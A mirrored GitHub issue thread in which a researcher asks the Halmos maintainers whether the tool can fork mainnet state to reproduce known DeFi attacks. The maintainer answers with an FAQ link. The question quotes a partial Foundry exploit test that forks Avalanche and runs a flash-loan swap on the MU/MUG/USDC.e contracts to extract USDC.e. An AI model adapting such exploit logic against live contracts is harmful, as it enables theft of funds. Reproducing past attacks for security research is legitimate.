Giter Site home page Giter Site logo

Comments (2)

whbjzzwjxq avatar whbjzzwjxq commented on August 28, 2024 2

@daejunpark
Dear author,
Thanks for your timely reply.
This functionality will help the community to re-produce existing attacks, such as events collected in DeFiHackLabs

In particular, considering the following attack:
Source Link

    function setUp() public {
        cheats.createSelectFork("Avalanche", 23435294);
    }

    function testExploit(FlashLoanAmount: uint256) public{
        MU.approve(address(Router), type(uint).max);
        MUG.approve(address(Router), type(uint).max);
        USDC_e.approve(address(Router), type(uint).max);
        USDC_e.approve(address(Bank), type(uint).max);
        // original code: FlashLoanAmount = MU.balanceOf(address(Pair)) - 1;
        Pair.swap(FlashLoanAmount, 0, address(this), new bytes(1));
        MUGToUSDC_e();
        assert(USDC_e.balanceOf(address(this)) >= 10e8);
        emit log_named_decimal_uint(
            "[End] Attacker USDC.e balance after exploit",
            USDC_e.balanceOf(address(this)),
            6
        );
    }
    function xxx;

As a researcher, I wonder whether Halmos could generate a counter-example to make the attack happen(Re-produce the actual attack). But it will be time-cost to initialize the blockchain state instead of forking it from the blockchain directly.

from halmos.

daejunpark avatar daejunpark commented on August 28, 2024

https://github.com/a16z/halmos/wiki/FAQ#does-halmos-provide-support-for-mainnet-forking

Could you please provide more context on the use cases that you have in mind?

from halmos.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.